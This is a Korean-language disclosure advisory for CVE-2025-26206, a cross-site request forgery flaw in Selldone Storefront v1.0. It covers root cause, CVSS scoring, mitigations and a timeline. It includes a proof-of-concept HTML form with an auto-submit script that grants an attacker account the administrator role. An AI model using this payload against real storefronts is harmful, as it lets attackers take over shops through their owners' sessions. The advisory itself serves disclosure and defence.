CVE-2025-26206: Sell Done Storefront v.1.0의 사이트 간 요청 위조(CSRF)

Selldone Storefront v1.0의 심각한 사이트 간 요청 위조(CSRF) 취약점으로 인해 원격 공격자는 인증된 사용자를 속여 스토어프론트 애플리케이션 계층을 통해 상태 변경 요청을 실행하도록 함으로써 권한을 상승시킬 수 있습니다. Sibhi Balamurugan(@xibhi)이 발견하고 책임 있게 공개했습니다.

개요

필드	세부 정보
CVE ID	CVE-2025-26206
유형	사이트 간 요청 위조(CWE-352)
제품	Selldone Storefront
영향받는 버전	`v1.0`
구성 요소	`index.html` / 세션 부트스트랩
영향	권한 상승 / 스토어 탈취
CVSS v3.1	9.0 (심각) — `CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H`
발견자	Sibhi Balamurugan (@xibhi)

근본 원인

Selldone Storefront v1.0은 상태 변경 엔드포인트에서 안티 CSRF 토큰 검증이 없었으며, 인증 쿠키가 엄격한 교차 사이트 경계 없이(SameSite 생략) 저장되었습니다.

인증된 스토어 소유자 또는 관리자가 공격자가 제어하는 웹페이지를 방문하면, 브라우저는 교차 출처 요청에 주변 세션 쿠키를 자동으로 첨부하여 피해자의 동의 없이 권한 있는 작업을 실행합니다.

공격자 사이트 → 피해자 브라우저 (세션 보유) → Selldone API (쿠키 전송, CSRF 검사 없음) → 역할 변경됨

개념 증명(PoC)

공격자는 권한 있는 엔드포인트를 대상으로 자동 제출되는 양식이 포함된 악성 페이지를 호스팅합니다:

<form id="csrf" action="https://<TARGET-STOREFRONT>/api/v1/shop/roles" method="POST">
  <input type="hidden" name="user_id" value="attacker_id" />
  <input type="hidden" name="role" value="administrator" />
</form>
<script>
  document.getElementById("csrf").submit();
</script>

인증된 관리자가 해당 페이지를 방문하면, 브라우저는 관리자의 자격 증명으로 요청을 제출하여 공격자의 계정 권한을 상승시킵니다.

해결 방안

안티 CSRF 토큰: 모든 비 GET 요청(POST, PUT, DELETE, PATCH)에 검증된 X-CSRF-TOKEN 또는 동기화 토큰을 요구합니다.
쿠키 보안: 세션 쿠키에 SameSite=Lax 또는 SameSite=Strict와 함께 Secure 및 HttpOnly 플래그를 설정합니다.
출처 검증: 모든 상태 변경 엔드포인트에서 Origin 및 Referer 헤더를 검증합니다.
업데이트: Selldone Storefront의 최신 릴리스로 업그레이드합니다.

공개 일정

날짜	이정표
2025년 2월	발견되어 공급업체에 보고됨.
2025년 2월 24일	최초 권고문 게시.
2025년 3월 03일	NVD 항목 게시.
2025년 3월 04일	NVD에서 CVSS 9.0(심각)으로 평가됨.

참고 자료 및 크레딧

Penemu: Sibhi Balamurugan (@xibhi)

라이선스

이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다.

CVE-2025-26206

인기